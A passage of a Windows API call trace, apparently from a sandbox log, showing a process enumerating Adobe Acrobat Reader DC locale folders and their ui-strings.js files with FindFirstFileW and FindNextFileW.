ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0255.531] GetProcessHeap () returned 0xc10000 [0255.531] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.532] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.534] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.534] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.534] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.534] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.535] GetProcessHeap () returned 0xc10000 [0255.535] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.535] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0255.535] GetProcessHeap () returned 0xc10000 [0255.535] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.535] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.541] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.541] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.541] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.541] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.542] GetProcessHeap () returned 0xc10000 [0255.542] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.542] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0255.542] GetProcessHeap () returned 0xc10000 [0255.542] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.542] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.543] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.543] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x58a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.543] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x58a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.544] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.546] GetProcessHeap () returned 0xc10000 [0255.546] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.546] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0255.546] GetProcessHeap () returned 0xc10000 [0255.546] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0255.547] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.547] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x547, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.547] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x547, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.547] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0255.548] GetProcessHeap () returned 0xc10000 [0255.548] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.548] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0255.548] GetProcessHeap () returned 0xc10000 [0255.548] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.548] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.551] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.551] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.551] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.551] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.552] GetProcessHeap () returned 0xc10000 [0255.552] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.552] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0255.552] GetProcessHeap () returned 0xc10000 [0255.552] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.552] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0255.553] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.553] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.553] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.554] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0255.554] GetProcessHeap () returned 0xc10000 [0255.554] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.554] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0255.554] GetProcessHeap () returned 0xc10000 [0255.554] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0255.556] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.556] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.556] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.556] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0255.557] GetProcessHeap () returned 0xc10000 [0255.557] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.557] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0255.824] GetProcessHeap () returned 0xc10000 [0255.824] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.824] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0255.826] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.826] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.826] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.827] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0255.827] GetProcessHeap () returned 0xc10000 [0255.827] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.827] FindNextFileW (in: 